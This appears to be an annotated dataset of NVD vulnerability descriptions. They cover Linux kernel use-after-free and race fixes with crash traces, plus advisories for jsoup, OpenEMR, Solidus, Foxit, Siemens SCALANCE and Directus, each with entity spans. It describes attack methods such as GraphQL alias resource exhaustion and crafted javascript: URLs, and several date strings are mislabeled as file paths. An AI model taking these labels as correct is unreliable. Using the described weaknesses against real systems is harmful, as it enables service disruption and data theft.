{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/rtas: avoid scheduling in rtas_os_term()\n\nIt's unsafe to use rtas_busy_delay() to handle a busy status from\nthe ibm,os-term RTAS function in rtas_os_term():\n\nKernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b\nBUG: sleeping function called from invalid context at arch/powerpc/kernel/rtas.c:618\nin_atomic(): 1, irqs_disabled(): 1, non_block: 0, pid: 1, name: swapper/0\npreempt_count: 2, expected: 0\nCPU: 7 PID: 1 Comm: swapper/0 Tainted: G      D            6.0.0-rc5-02182-gf8553a572277-dirty #9\nCall Trace:\n[c000000007b8f000] [c000000001337110] dump_stack_lvl+0xb4/0x110 (unreliable)\n[c000000007b8f040] [c0000000002440e4] __might_resched+0x394/0x3c0\n[c000000007b8f0e0] [c00000000004f680] rtas_busy_delay+0x120/0x1b0\n[c000000007b8f100] [c000000000052d04] rtas_os_term+0xb8/0xf4\n[c000000007b8f180] [c0000000001150fc] pseries_panic+0x50/0x68\n[c000000007b8f1f0] [c000000000036354] ppc_panic_platform_handler+0x34/0x50\n[c000000007b8f210] [c0000000002303c4] notifier_call_chain+0xd4/0x1c0\n[c000000007b8f2b0] [c0000000002306cc] atomic_notifier_call_chain+0xac/0x1c0\n[c000000007b8f2f0] [c0000000001d62b8] panic+0x228/0x4d0\n[c000000007b8f390] [c0000000001e573c] do_exit+0x140c/0x1420\n[c000000007b8f480] [c0000000001e586c] make_task_dead+0xdc/0x200\n\nUse rtas_busy_delay_time() instead, which signals without side effects\nwhether to attempt the ibm,os-term RTAS call again.", "spans": {"FILEPATH: /powerpc/kernel/rtas.c": [[365, 387]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50504"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: core: Fix unremoved procfs host directory regression\n\nCommit fc663711b944 (\"scsi: core: Remove the /proc/scsi/${proc_name}\ndirectory earlier\") fixed a bug related to modules loading/unloading, by\nadding a call to scsi_proc_hostdir_rm() on scsi_remove_host(). But that led\nto a potential duplicate call to the hostdir_rm() routine, since it's also\ncalled from scsi_host_dev_release(). That triggered a regression report,\nwhich was then fixed by commit be03df3d4bfe (\"scsi: core: Fix a procfs host\ndirectory removal regression\"). The fix just dropped the hostdir_rm() call\nfrom dev_release().\n\nBut it happens that this proc directory is created on scsi_host_alloc(),\nand that function \"pairs\" with scsi_host_dev_release(), while\nscsi_remove_host() pairs with scsi_add_host(). In other words, it seems the\nreason for removing the proc directory on dev_release() was meant to cover\ncases in which a SCSI host structure was allocated, but the call to\nscsi_add_host() didn't happen. And that pattern happens to exist in some\nerror paths, for example.\n\nSyzkaller causes that by using USB raw gadget device, error'ing on\nusb-storage driver, at usb_stor_probe2(). By checking that path, we can see\nthat the BadDevice label leads to a scsi_host_put() after a SCSI host\nallocation, but there's no call to scsi_add_host() in such path. That leads\nto messages like this in dmesg (and a leak of the SCSI host proc\nstructure):\n\nusb-storage 4-1:87.51: USB Mass Storage device detected\nproc_dir_entry 'scsi/usb-storage' already registered\nWARNING: CPU: 1 PID: 3519 at fs/proc/generic.c:377 proc_register+0x347/0x4e0 fs/proc/generic.c:376\n\nThe proper fix seems to still call scsi_proc_hostdir_rm() on dev_release(),\nbut guard that with the state check for SHOST_CREATED; there is even a\ncomment in scsi_host_dev_release() detailing that: such conditional is\nmeant for cases where the SCSI host was allocated but there was no calls to\n{add,remove}_host(), like the usb-storage case.\n\nThis is what we propose here and with that, the error path of usb-storage\ndoes not trigger the warning anymore.", "spans": {"FILEPATH: /proc/scsi": [[174, 184]], "FILEPATH: /proc/generic.c": [[1628, 1643], [1676, 1691]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26935"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: ivsc: Fix crash at shutdown due to missing mei_cldev_disable() calls\n\nBoth the ACE and CSI driver are missing a mei_cldev_disable() call in\ntheir remove() function.\n\nThis causes the mei_cl client to stay part of the mei_device->file_list\nlist even though its memory is freed by mei_cl_bus_dev_release() calling\nkfree(cldev->cl).\n\nThis leads to a use-after-free when mei_vsc_remove() runs mei_stop()\nwhich first removes all mei bus devices calling mei_ace_remove() and\nmei_csi_remove() followed by mei_cl_bus_dev_release() and then calls\nmei_cl_all_disconnect() which walks over mei_device->file_list dereferecing\nthe just freed cldev->cl.\n\nAnd mei_vsc_remove() it self is run at shutdown because of the\nplatform_device_unregister(tp->pdev) in vsc_tp_shutdown()\n\nWhen building a kernel with KASAN this leads to the following KASAN report:\n\n[ 106.634504] ==================================================================\n[ 106.634623] BUG: KASAN: slab-use-after-free in mei_cl_set_disconnected (drivers/misc/mei/client.c:783) mei\n[ 106.634683] Read of size 4 at addr ffff88819cb62018 by task systemd-shutdow/1\n[ 106.634729]\n[ 106.634767] Tainted: [E]=UNSIGNED_MODULE\n[ 106.634770] Hardware name: Dell Inc. XPS 16 9640/09CK4V, BIOS 1.12.0 02/10/2025\n[ 106.634773] Call Trace:\n[ 106.634777]  <TASK>\n...\n[ 106.634871] kasan_report (mm/kasan/report.c:221 mm/kasan/report.c:636)\n[ 106.634901] mei_cl_set_disconnected (drivers/misc/mei/client.c:783) mei\n[ 106.634921] mei_cl_all_disconnect (drivers/misc/mei/client.c:2165 (discriminator 4)) mei\n[ 106.634941] mei_reset (drivers/misc/mei/init.c:163) mei\n...\n[ 106.635042] mei_stop (drivers/misc/mei/init.c:348) mei\n[ 106.635062] mei_vsc_remove (drivers/misc/mei/mei_dev.h:784 drivers/misc/mei/platform-vsc.c:393) mei_vsc\n[ 106.635066] platform_remove (drivers/base/platform.c:1424)\n\nAdd the missing mei_cldev_disable() calls so that the mei_cl gets removed\nfrom mei_device->file_list before it is freed to fix this.", "spans": {"FILEPATH: /misc/mei/client.c": [[1077, 1095], [1495, 1513], [1567, 1585]], "FILEPATH: /10/2025": [[1315, 1323]], "FILEPATH: /kasan/report.c": [[1406, 1421], [1428, 1443]], "FILEPATH: /misc/mei/init.c": [[1646, 1662], [1707, 1723]], "FILEPATH: /misc/mei/mei_dev.h": [[1770, 1789]], "FILEPATH: /misc/mei/platform-vsc.c": [[1801, 1825]], "FILEPATH: /base/platform.c": [[1877, 1893]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[1167, 1174]], "ORGANIZATION: Dell": [[1271, 1275]], "VULNERABILITY: use-after-free": [[422, 436], [1027, 1041]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39711"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: ts2020: fix null-ptr-deref in ts2020_probe()\n\nKASAN reported a null-ptr-deref issue when executing the following\ncommand:\n\n  # echo ts2020 0x20 > /sys/bus/i2c/devices/i2c-0/new_device\n    KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]\n    CPU: 53 UID: 0 PID: 970 Comm: systemd-udevd Not tainted 6.12.0-rc2+ #24\n    Hardware name: QEMU Standard PC (Q35 + ICH9, 2009)\n    RIP: 0010:ts2020_probe+0xad/0xe10 [ts2020]\n    RSP: 0018:ffffc9000abbf598 EFLAGS: 00010202\n    RAX: dffffc0000000000 RBX: 0000000000000000 RCX: ffffffffc0714809\n    RDX: 0000000000000002 RSI: ffff88811550be00 RDI: 0000000000000010\n    RBP: ffff888109868800 R08: 0000000000000001 R09: fffff52001577eb6\n    R10: 0000000000000000 R11: ffffc9000abbff50 R12: ffffffffc0714790\n    R13: 1ffff92001577eb8 R14: ffffffffc07190d0 R15: 0000000000000001\n    FS:  00007f95f13b98c0(0000) GS:ffff888149280000(0000) knlGS:0000000000000000\n    CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n    CR2: 0000555d2634b000 CR3: 0000000152236000 CR4: 00000000000006f0\n    DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n    DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n    Call Trace:\n     <TASK>\n     ts2020_probe+0xad/0xe10 [ts2020]\n     i2c_device_probe+0x421/0xb40\n     really_probe+0x266/0x850\n    ...\n\nThe cause of the problem is that when using sysfs to dynamically register\nan i2c device, there is no platform data, but the probe process of ts2020\nneeds to use platform data, resulting in a null pointer being accessed.\n\nSolve this problem by adding checks to platform data.", "spans": {"FILEPATH: /sys/bus/i2c/devices/i2c-0/new_device": [[222, 259]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[369, 376]], "SYSTEM: QEMU": [[430, 434]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56574"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/swap: fix swap_info_struct race between swapoff and get_swap_pages()\n\nThe si->lock must be held when deleting the si from the available list. \nOtherwise, another thread can re-add the si to the available list, which\ncan lead to memory corruption.  The only place we have found where this\nhappens is in the swapoff path.  This case can be described as below:\n\ncore 0                       core 1\nswapoff\n\ndel_from_avail_list(si)      waiting\n\ntry lock si->lock            acquire swap_avail_lock\n                             and re-add si into\n                             swap_avail_head\n\nacquire si->lock but missing si already being added again, and continuing\nto clear SWP_WRITEOK, etc.\n\nIt can be easily found that a massive warning messages can be triggered\ninside get_swap_pages() by some special cases, for example, we call\nmadvise(MADV_PAGEOUT) on blocks of touched memory concurrently, meanwhile,\nrun much swapon-swapoff operations (e.g.  stress-ng-swap).\n\nHowever, in the worst case, panic can be caused by the above scene.  In\nswapoff(), the memory used by si could be kept in swap_info[] after\nturning off a swap.  This means memory corruption will not be caused\nimmediately until allocated and reset for a new swap in the swapon path. \nA panic message caused: (with CONFIG_PLIST_DEBUG enabled)\n\n------------[ cut here ]------------\ntop: 00000000e58a3003, n: 0000000013e75cda, p: 000000008cd4451a\nprev: 0000000035b1e58a, n: 000000008cd4451a, p: 000000002150ee8d\nnext: 000000008cd4451a, n: 000000008cd4451a, p: 000000008cd4451a\nWARNING: CPU: 21 PID: 1843 at lib/plist.c:60 plist_check_prev_next_node+0x50/0x70\nModules linked in: rfkill(E) crct10dif_ce(E)...\nCPU: 21 PID: 1843 Comm: stress-ng Kdump: ... 5.10.134+\nHardware name: Alibaba Cloud ECS, BIOS 0.0.0 02/06/2015\npstate: 60400005 (nZCv daif +PAN -UAO -TCO BTYPE=--)\npc : plist_check_prev_next_node+0x50/0x70\nlr : plist_check_prev_next_node+0x50/0x70\nsp : ffff0018009d3c30\nx29: ffff0018009d3c40 x28: ffff800011b32a98\nx27: 0000000000000000 x26: ffff001803908000\nx25: ffff8000128ea088 x24: ffff800011b32a48\nx23: 0000000000000028 x22: ffff001800875c00\nx21: ffff800010f9e520 x20: ffff001800875c00\nx19: ffff001800fdc6e0 x18: 0000000000000030\nx17: 0000000000000000 x16: 0000000000000000\nx15: 0736076307640766 x14: 0730073007380731\nx13: 0736076307640766 x12: 0730073007380731\nx11: 000000000004058d x10: 0000000085a85b76\nx9 : ffff8000101436e4 x8 : ffff800011c8ce08\nx7 : 0000000000000000 x6 : 0000000000000001\nx5 : ffff0017df9ed338 x4 : 0000000000000001\nx3 : ffff8017ce62a000 x2 : ffff0017df9ed340\nx1 : 0000000000000000 x0 : 0000000000000000\nCall trace:\n plist_check_prev_next_node+0x50/0x70\n plist_check_head+0x80/0xf0\n plist_add+0x28/0x140\n add_to_avail_list+0x9c/0xf0\n _enable_swap_info+0x78/0xb4\n __do_sys_swapon+0x918/0xa10\n __arm64_sys_swapon+0x20/0x30\n el0_svc_common+0x8c/0x220\n do_el0_svc+0x2c/0x90\n el0_svc+0x1c/0x30\n el0_sync_handler+0xa8/0xb0\n el0_sync+0x148/0x180\nirq event stamp: 2082270\n\nNow, si->lock locked before calling 'del_from_avail_list()' to make sure\nother thread see the si had been deleted and SWP_WRITEOK cleared together,\nwill not reinsert again.\n\nThis problem exists in versions after stable 5.10.y.", "spans": {"FILEPATH: /06/2015": [[1843, 1851]], "FILEPATH: plist.c": [[1645, 1652]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory corruption": [[300, 317], [1210, 1227]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53623"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free and NULL deref in smb_grant_oplock()\n\nsmb_grant_oplock() has two issues in the oplock publication sequence:\n\n1) opinfo is linked into ci->m_op_list (via opinfo_add) before\n   add_lease_global_list() is called.  If add_lease_global_list()\n   fails (kmalloc returns NULL), the error path frees the opinfo\n   via __free_opinfo() while it is still linked in ci->m_op_list.\n   Concurrent m_op_list readers (opinfo_get_list, or direct iteration\n   in smb_break_all_levII_oplock) dereference the freed node.\n\n2) opinfo->o_fp is assigned after add_lease_global_list() publishes\n   the opinfo on the global lease list.  A concurrent\n   find_same_lease_key() can walk the lease list and dereference\n   opinfo->o_fp->f_ci while o_fp is still NULL.\n\nFix by restructuring the publication sequence to eliminate post-publish\nfailure:\n\n- Set opinfo->o_fp before any list publication (fixes NULL deref).\n- Preallocate lease_table via alloc_lease_table() before opinfo_add()\n  so add_lease_global_list() becomes infallible after publication.\n- Keep the original m_op_list publication order (opinfo_add before\n  lease list) so concurrent opens via same_client_has_lease() and\n  opinfo_get_list() still see the in-flight grant.\n- Use opinfo_put() instead of __free_opinfo() on err_out so that\n  the RCU-deferred free path is used.\n\nThis also requires splitting add_lease_global_list() to take a\npreallocated lease_table and changing its return type from int to void,\nsince it can no longer fail.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[80, 94]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31444"}}
{"text": "Varnish varnish-modules before 0.17.1 allows remote attackers to cause a denial of service (daemon restart) in some configurations. This does not affect organizations that only install the Varnish Cache product; however, it is common to install both Varnish Cache and varnish-modules. Specifically, an assertion failure or NULL pointer dereference can be triggered in Varnish Cache through the varnish-modules header.append() and header.copy() functions. For some Varnish Configuration Language (VCL) files, this gives remote clients an opportunity to cause a Varnish Cache restart. A restart reduces overall availability and performance due to an increased number of cache misses, and may cause higher load on backend servers.", "spans": {"VULNERABILITY: NULL pointer dereference": [[323, 347]], "VULNERABILITY: denial of service": [[73, 90]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28543"}}
{"text": "jsoup is a Java HTML parser, built for HTML editing, cleaning, scraping, and cross-site scripting (XSS) safety. jsoup may incorrectly sanitize HTML including `javascript:` URL expressions, which could allow XSS attacks when a reader subsequently clicks that link. If the non-default `SafeList.preserveRelativeLinks` option is enabled, HTML including `javascript:` URLs that have been crafted with control characters will not be sanitized. If the site that this HTML is published on does not set a Content Security Policy, an XSS attack is then possible. This issue is patched in jsoup 1.15.3. Users should upgrade to this version. Additionally, as the unsanitized input may have been persisted, old content should be cleaned again using the updated version. To remediate this issue without immediately upgrading: - disable `SafeList.preserveRelativeLinks`, which will rewrite input URLs as absolute URLs - ensure an appropriate [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) is defined. (This should be used regardless of upgrading, as a defence-in-depth best practice.)", "spans": {"URL: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP": [[954, 1007]], "SYSTEM: Java": [[11, 15]], "VULNERABILITY: cross-site scripting": [[77, 97]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36033"}}
{"text": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0, the OpenEMR application is vulnerable to an access control flaw that allows low-privileged users, such as receptionists, to export the entire message list containing sensitive patient and user data. The vulnerability lies in the message_list.php report export functionality, where there is no permission check before executing sensitive database queries. The only control in place is CSRF token verification, which does not prevent unauthorized data access if the token is acquired through other means. Version 8.0.0 fixes the vulnerability.", "spans": {"FILEPATH: message_list.php": [[358, 374]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25124"}}
{"text": "solidus_auth_devise provides authentication services for the Solidus webstore framework, using the Devise gem. In affected versions solidus_auth_devise is subject to a CSRF vulnerability that allows user account takeover. All applications using any version of the frontend component of `solidus_auth_devise` are affected if `protect_from_forgery` method is both: Executed whether as: A `before_action` callback (the default) or A `prepend_before_action` (option `prepend: true` given) before the `:load_object` hook in `Spree::UserController` (most likely order to find). Configured to use `:null_session` or `:reset_session` strategies (`:null_session` is the default in case the no strategy is given, but `rails --new` generated skeleton use `:exception`). Users should promptly update to `solidus_auth_devise` version `2.5.4`. Users unable to update should if possible, change their strategy to `:exception`. Please see the linked GHSA for more workaround details.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41274"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PhantomPDF 9.7.0.29478. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of the RotatePage command of the communication API. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-9943.", "spans": {"VULNERABILITY: type confusion": [[455, 469]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10910"}}
{"text": "A Denial Of Service vulnerability exists when Connected User Experiences and Telemetry Service fails to validate certain function values.An attacker who successfully exploited this vulnerability could deny dependent security feature functionality.To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application.The security update addresses the vulnerability by correcting how the Connected User Experiences and Telemetry Service validates certain function values., aka 'Connected User Experiences and Telemetry Service Denial of Service Vulnerability'. This CVE ID is unique from CVE-2020-1123.", "spans": {"CVE_ID: CVE-2020-1123": [[643, 656]], "VULNERABILITY: Denial Of Service": [[2, 19]], "VULNERABILITY: Denial of Service": [[582, 599]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1084"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, test_run: Fix use-after-free issue in eth_skb_pkt_type()\n\nKMSAN reported a use-after-free issue in eth_skb_pkt_type()[1]. The\ncause of the issue was that eth_skb_pkt_type() accessed skb's data\nthat didn't contain an Ethernet header. This occurs when\nbpf_prog_test_run_xdp() passes an invalid value as the user_data\nargument to bpf_test_init().\n\nFix this by returning an error when user_data is less than ETH_HLEN in\nbpf_test_init(). Additionally, remove the check for \"if (user_size >\nsize)\" as it is unnecessary.\n\n[1]\nBUG: KMSAN: use-after-free in eth_skb_pkt_type include/linux/etherdevice.h:627 [inline]\nBUG: KMSAN: use-after-free in eth_type_trans+0x4ee/0x980 net/ethernet/eth.c:165\n eth_skb_pkt_type include/linux/etherdevice.h:627 [inline]\n eth_type_trans+0x4ee/0x980 net/ethernet/eth.c:165\n __xdp_build_skb_from_frame+0x5a8/0xa50 net/core/xdp.c:635\n xdp_recv_frames net/bpf/test_run.c:272 [inline]\n xdp_test_run_batch net/bpf/test_run.c:361 [inline]\n bpf_test_run_xdp_live+0x2954/0x3330 net/bpf/test_run.c:390\n bpf_prog_test_run_xdp+0x148e/0x1b10 net/bpf/test_run.c:1318\n bpf_prog_test_run+0x5b7/0xa30 kernel/bpf/syscall.c:4371\n __sys_bpf+0x6a6/0xe20 kernel/bpf/syscall.c:5777\n __do_sys_bpf kernel/bpf/syscall.c:5866 [inline]\n __se_sys_bpf kernel/bpf/syscall.c:5864 [inline]\n __x64_sys_bpf+0xa4/0xf0 kernel/bpf/syscall.c:5864\n x64_sys_call+0x2ea0/0x3d90 arch/x86/include/generated/asm/syscalls_64.h:322\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xd9/0x1d0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nUninit was created at:\n free_pages_prepare mm/page_alloc.c:1056 [inline]\n free_unref_page+0x156/0x1320 mm/page_alloc.c:2657\n __free_pages+0xa3/0x1b0 mm/page_alloc.c:4838\n bpf_ringbuf_free kernel/bpf/ringbuf.c:226 [inline]\n ringbuf_map_free+0xff/0x1e0 kernel/bpf/ringbuf.c:235\n bpf_map_free kernel/bpf/syscall.c:838 [inline]\n bpf_map_free_deferred+0x17c/0x310 kernel/bpf/syscall.c:862\n process_one_work kernel/workqueue.c:3229 [inline]\n process_scheduled_works+0xa2b/0x1b60 kernel/workqueue.c:3310\n worker_thread+0xedf/0x1550 kernel/workqueue.c:3391\n kthread+0x535/0x6b0 kernel/kthread.c:389\n ret_from_fork+0x6e/0x90 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n\nCPU: 1 UID: 0 PID: 17276 Comm: syz.1.16450 Not tainted 6.12.0-05490-g9bb88c659673 #8\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-3.fc41 04/01/2014", "spans": {"FILEPATH: /linux/etherdevice.h": [[647, 667], [786, 806]], "FILEPATH: /ethernet/eth.c": [[741, 756], [851, 866]], "FILEPATH: /core/xdp.c": [[914, 925]], "FILEPATH: /bpf/test_run.c": [[950, 965], [1002, 1017], [1071, 1086], [1131, 1146]], "FILEPATH: /bpf/syscall.c": [[1189, 1203], [1238, 1252], [1278, 1292], [1327, 1341], [1387, 1401], [1928, 1942], [1997, 2011]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[1439, 1479]], "FILEPATH: /x86/entry/common.c": [[1504, 1523], [1566, 1585]], "FILEPATH: /bpf/ringbuf.c": [[1826, 1840], [1889, 1903]], "FILEPATH: /x86/kernel/process.c": [[2252, 2273]], "FILEPATH: /x86/entry/entry_64.S": [[2311, 2332]], "FILEPATH: /01/2014": [[2499, 2507]], "FILEPATH: page_alloc.c": [[1678, 1690], [1738, 1750], [1784, 1796]], "FILEPATH: workqueue.c": [[2041, 2052], [2112, 2123], [2164, 2175]], "FILEPATH: kthread.c": [[2209, 2218]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[2438, 2442]], "VULNERABILITY: use-after-free": [[88, 102], [149, 163], [605, 619], [693, 707]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21867"}}
{"text": "A vulnerability has been identified in SCALANCE X302-7 EEC (230V), SCALANCE X302-7 EEC (230V, coated), SCALANCE X302-7 EEC (24V), SCALANCE X302-7 EEC (24V, coated), SCALANCE X302-7 EEC (2x 230V), SCALANCE X302-7 EEC (2x 230V, coated), SCALANCE X302-7 EEC (2x 24V), SCALANCE X302-7 EEC (2x 24V, coated), SCALANCE X304-2FE, SCALANCE X306-1LD FE, SCALANCE X307-2 EEC (230V), SCALANCE X307-2 EEC (230V, coated), SCALANCE X307-2 EEC (24V), SCALANCE X307-2 EEC (24V, coated), SCALANCE X307-2 EEC (2x 230V), SCALANCE X307-2 EEC (2x 230V, coated), SCALANCE X307-2 EEC (2x 24V), SCALANCE X307-2 EEC (2x 24V, coated), SCALANCE X307-3, SCALANCE X307-3, SCALANCE X307-3LD, SCALANCE X307-3LD, SCALANCE X308-2, SCALANCE X308-2, SCALANCE X308-2LD, SCALANCE X308-2LD, SCALANCE X308-2LH, SCALANCE X308-2LH, SCALANCE X308-2LH+, SCALANCE X308-2LH+, SCALANCE X308-2M, SCALANCE X308-2M, SCALANCE X308-2M PoE, SCALANCE X308-2M PoE, SCALANCE X308-2M TS, SCALANCE X308-2M TS, SCALANCE X310, SCALANCE X310, SCALANCE X310FE, SCALANCE X310FE, SCALANCE X320-1 FE, SCALANCE X320-1-2LD FE, SCALANCE X408-2, SCALANCE XR324-12M (230V, ports on front), SCALANCE XR324-12M (230V, ports on front), SCALANCE XR324-12M (230V, ports on rear), SCALANCE XR324-12M (230V, ports on rear), SCALANCE XR324-12M (24V, ports on front), SCALANCE XR324-12M (24V, ports on front), SCALANCE XR324-12M (24V, ports on rear), SCALANCE XR324-12M (24V, ports on rear), SCALANCE XR324-12M TS (24V), SCALANCE XR324-12M TS (24V), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (24V, ports on front), SCALANCE XR324-4M EEC (24V, ports on front), SCALANCE XR324-4M EEC (24V, ports on rear), SCALANCE XR324-4M EEC (24V, ports on rear), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on front), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (2x 100-240VAC/60-250VDC, ports on rear), SCALANCE XR324-4M EEC (2x 24V, ports on front), SCALANCE XR324-4M EEC (2x 24V, ports on front), SCALANCE XR324-4M EEC (2x 24V, ports on rear), SCALANCE XR324-4M EEC (2x 24V, ports on rear), SCALANCE XR324-4M PoE (230V, ports on front), SCALANCE XR324-4M PoE (230V, ports on rear), SCALANCE XR324-4M PoE (24V, ports on front), SCALANCE XR324-4M PoE (24V, ports on rear), SCALANCE XR324-4M PoE TS (24V, ports on front), SIPLUS NET SCALANCE X308-2. The webserver of affected devices calculates session ids and nonces in an insecure manner. This could allow an unauthenticated remote attacker to brute-force session ids and hijack existing sessions.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-25752"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/rxe: Fix race in do_task() when draining\n\nWhen do_task() exhausts its iteration budget (!ret), it sets the state\nto TASK_STATE_IDLE to reschedule, without a secondary check on the\ncurrent task->state. This can overwrite the TASK_STATE_DRAINING state\nset by a concurrent call to rxe_cleanup_task() or rxe_disable_task().\n\nWhile state changes are protected by a spinlock, both rxe_cleanup_task()\nand rxe_disable_task() release the lock while waiting for the task to\nfinish draining in the while(!is_done(task)) loop. The race occurs if\ndo_task() hits its iteration limit and acquires the lock in this window.\nThe cleanup logic may then proceed while the task incorrectly\nreschedules itself, leading to a potential use-after-free.\n\nThis bug was introduced during the migration from tasklets to workqueues,\nwhere the special handling for the draining case was lost.\n\nFix this by restoring the original pre-migration behavior. If the state is\nTASK_STATE_DRAINING when iterations are exhausted, set cont to 1 to\nforce a new loop iteration. This allows the task to finish its work, so\nthat a subsequent iteration can reach the switch statement and correctly\ntransition the state to TASK_STATE_DRAINED, stopping the task as intended.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[786, 800]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40061"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix accesses to uninit stack slots\n\nPrivileged programs are supposed to be able to read uninitialized stack\nmemory (ever since 6715df8d5) but, before this patch, these accesses\nwere permitted inconsistently. In particular, accesses were permitted\nabove state->allocated_stack, but not below it. In other words, if the\nstack was already \"large enough\", the access was permitted, but\notherwise the access was rejected instead of being allowed to \"grow the\nstack\". This undesired rejection was happening in two places:\n- in check_stack_slot_within_bounds()\n- in check_stack_range_initialized()\nThis patch arranges for these accesses to be permitted. A bunch of tests\nthat were relying on the old rejection had to change; all of them were\nchanged to add also run unprivileged, in which case the old behavior\npersists. One tests couldn't be updated - global_func16 - because it\ncan't run unprivileged for other reasons.\n\nThis patch also fixes the tracking of the stack size for variable-offset\nreads. This second fix is bundled in the same commit as the first one\nbecause they're inter-related. Before this patch, writes to the stack\nusing registers containing a variable offset (as opposed to registers\nwith fixed, known values) were not properly contributing to the\nfunction's needed stack size. As a result, it was possible for a program\nto verify, but then to attempt to read out-of-bounds data at runtime\nbecause a too small stack had been allocated for it.\n\nEach function tracks the size of the stack it needs in\nbpf_subprog_info.stack_depth, which is maintained by\nupdate_stack_depth(). For regular memory accesses, check_mem_access()\nwas calling update_state_depth() but it was passing in only the fixed\npart of the offset register, ignoring the variable offset. This was\nincorrect; the minimum possible value of that register should be used\ninstead.\n\nThis tracking is now fixed by centralizing the tracking of stack size in\ngrow_stack_state(), and by lifting the calls to grow_stack_state() to\ncheck_stack_access_within_bounds() as suggested by Andrii. The code is\nnow simpler and more convincingly tracks the correct maximum stack size.\ncheck_stack_range_initialized() can now rely on enough stack having been\nallocated for the access; this helps with the fix for the first issue.\n\nA few tests were changed to also check the stack depth computation. The\none that fails without this patch is verifier_var_off:stack_write_priv_vs_unpriv.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52452"}}
{"text": "Directus is a real-time API and App dashboard for managing SQL database content. Prior to 11.17.0, Directus' GraphQL endpoints (/graphql and /graphql/system) did not deduplicate resolver invocations within a single request. An authenticated user could exploit GraphQL aliasing to repeat an expensive relational query many times in a single request, forcing the server to execute a large number of independent complex database queries concurrently, multiplying database load linearly with the number of aliases. The existing token limit on GraphQL queries still permitted enough aliases for significant resource exhaustion, while the relational depth limit applied per alias without reducing the total number executed. Rate limiting is disabled by default, meaning no built-in throttle prevented this from causing CPU, memory, and I/O exhaustion that could degrade or crash the service. Any authenticated user, including those with minimal read-only permissions, could trigger this condition. This vulnerability is fixed in 11.17.0.", "spans": {"FILEPATH: /graphql/system": [[141, 156]], "VULNERABILITY: resource exhaustion": [[602, 621]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35441"}}
